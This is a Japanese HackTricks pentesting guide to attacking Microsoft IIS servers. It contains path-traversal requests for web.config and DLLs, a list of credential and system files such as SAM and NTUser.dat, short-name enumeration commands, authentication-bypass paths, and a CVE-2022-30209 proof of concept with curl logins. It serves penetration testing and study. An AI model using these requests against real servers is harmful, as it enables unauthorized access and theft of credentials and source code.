IIS - Internet Information Services

**htARTE (HackTricks AWS Red Team Expert)** から **ゼロからヒーローまでAWSハッキングを学ぶ**

HackTricks をサポートする他の方法:

WhiteIntelダークウェブ で活動する検索エンジンで、盗難型マルウェア による 企業や顧客の侵害 をチェックするための 無料 機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックし、無料 でエンジンを試すことができます:


テスト可能な実行ファイルの拡張子:

  • asp

  • aspx

  • config

  • php

内部IPアドレスの漏洩

302を受け取る任意のIISサーバーで、Hostヘッダーを削除してHTTP/1.0を使用し、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります:

nc -v domain.com 80
openssl s_client -connect domain.com:443

内部IPを開示するレスポンス:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.configファイルの実行

.configファイルをアップロードして、コードを実行することができます。その方法の1つは、ファイルの末尾にコードをHTMLコメント内に追加することです:ここから例をダウンロード

この脆弱性を悪用するための詳細やテクニックについては、こちらを参照してください。

IISディスカバリーブルートフォース

私が作成したリストをダウンロードしてください:

以下のリストの内容をマージして作成されました:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

拡張子を追加せずに使用してください。必要なファイルにはすでに追加されています。

パストラバーサル

ソースコードの漏洩

以下の完全な解説をチェックしてください:https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

要約すると、アプリケーションのフォルダ内には、"assemblyIdentity"ファイルと"namespaces"への参照が含まれる複数のweb.configファイルがあります。この情報を使用すると、実行可能ファイルの場所を知ることができ、それらをダウンロードできます。 ダウンロードしたDllからは、新しい名前空間を見つけることができ、アクセスしてweb.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることができます。 また、ファイルconnectionstrings.configglobal.asaxには興味深い情報が含まれている場合があります。

.Net MVCアプリケーションでは、web.configファイルが、"assemblyIdentity" XMLタグを介してアプリケーションが依存する各バイナリファイルを指定する重要な役割を果たします。

バイナリファイルの探索

以下に、web.configファイルへのアクセス例が示されています:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

このリクエストは、さまざまな設定や依存関係を明らかにします:

  • EntityFramework バージョン

  • web ページ、クライアント検証、JavaScript の AppSettings

  • 認証とランタイムのための System.web 構成

  • System.webServer モジュールの設定

  • Microsoft.OwinNewtonsoft.JsonSystem.Web.Mvc などの多くのライブラリのための Runtime アセンブリのバインディング

これらの設定は、/bin/WebGrease.dll のような特定のファイルがアプリケーションの /bin フォルダに存在することを示しています。

ルートディレクトリのファイル

/global.asax や**/connectionstrings.config**(機密性の高いパスワードが含まれる)など、ルートディレクトリにあるファイルは、アプリケーションの構成と動作に不可欠です。

名前空間と Web.Config

MVC アプリケーションでは、各ファイルでの繰り返し宣言を避けるために、特定の名前空間用の追加の web.config ファイル も定義されています。別の web.config をダウンロードするリクエストの例を示します:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLのダウンロード

カスタム名前空間の言及は、/binディレクトリに存在する "WebApplication1" というDLLを示しています。これに続いて、WebApplication1.dll をダウンロードするリクエストが表示されます:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

これは、/binディレクトリにSystem.Web.Mvc.dllSystem.Web.Optimization.dllなどの他の重要なDLLが存在している可能性を示しています。

DLLがWebApplication1.Areas.Mindedという名前空間をインポートするシナリオでは、攻撃者は**/area-name/Views/などの予測可能なパスに他のweb.configファイルが存在することを推測する可能性があります。これらのファイルには/binフォルダ内の他のDLLへの特定の構成と参照が含まれています。例えば、/Minded/Views/web.config**へのリクエストは、WebApplication1.AdditionalFeatures.dllという別のDLLの存在を示す構成と名前空間を明らかにする可能性があります。

一般的なファイル

こちらから

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 エラー

もし以下のようなエラーが表示された場合:

それはサーバーがHostヘッダー内に正しいドメイン名を受信しなかったことを意味します。 Webページにアクセスするためには、提供されたSSL証明書を確認して、そこにドメイン/サブドメイン名が見つかるかもしれません。見つからない場合は、正しいものを見つけるまでVHostsをブルートフォースする必要があります。

古いIISの脆弱性の調査価値

Microsoft IISチルダ文字“~”脆弱性/機能 – 短いファイル/フォルダ名の開示

この技術を使用して、発見された各フォルダ内のフォルダとファイルを列挙できます(基本認証が必要な場合でも)。 この技術の主な制限は、サーバーが脆弱である場合、各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字までしか見つけることができないことです。

この脆弱性をテストするためにhttps://github.com/irsdl/IIS-ShortName-Scannerを使用できます:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

元の研究: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Metasploitも使用できます:use scanner/http/iis_shortname_scanner

基本認証バイパス

基本認証(IIS 7.5)をバイパスして、次のようにアクセスを試みます:/admin:$i30:$INDEX_ALLOCATION/admin.phpまたは/admin::$INDEX_ALLOCATION/admin.php

この脆弱性と前述のものを組み合わせて、新しいフォルダを見つけて認証をバイパスすることができます。

ASP.NET Trace.AXDを有効にしたデバッグ

ASP.NETにはデバッグモードがあり、そのファイルはtrace.axdと呼ばれます。

これは、一定期間にわたってアプリケーションに対して行われたすべてのリクエストの非常に詳細なログを保持します。

この情報には、リモートクライアントのIP、セッションID、すべてのリクエストとレスポンスのクッキー、物理パス、ソースコード情報、そして潜在的にはユーザー名とパスワードさえ含まれています。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTHは次の情報を使用します:

  • validationKey(文字列):署名検証に使用する16進数エンコードされたキー。

  • decryptionMethod(文字列):(デフォルトは“AES”)。

  • decryptionIV(文字列):16進数エンコードされた初期化ベクトル(ゼロのベクトルがデフォルト)。

  • decryptionKey(文字列):復号に使用する16進数エンコードされたキー。

ただし、これらのパラメータのデフォルト値を使用し、ユーザーのメールアドレスをクッキーとして使用する人もいます。したがって、攻撃対象のサーバーで偽のユーザーを作成し、そのサーバーでASPXAUTHクッキーを使用してユーザーをなりすますことができるかもしれません。 この攻撃は、この解説で成功しました。

キャッシュされたパスワードを使用したIIS認証バイパス(CVE-2022-30209)

完全なレポートはこちら:コードにあるバグは、ユーザーが提供したパスワードを適切にチェックしなかったため、パスワードハッシュがすでにキャッシュにあるキーに一致する攻撃者はそのユーザーとしてログインできるようになります。

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客がスティーラーマルウェアによって侵害されていないかをチェックする無料の機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:

**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

Last updated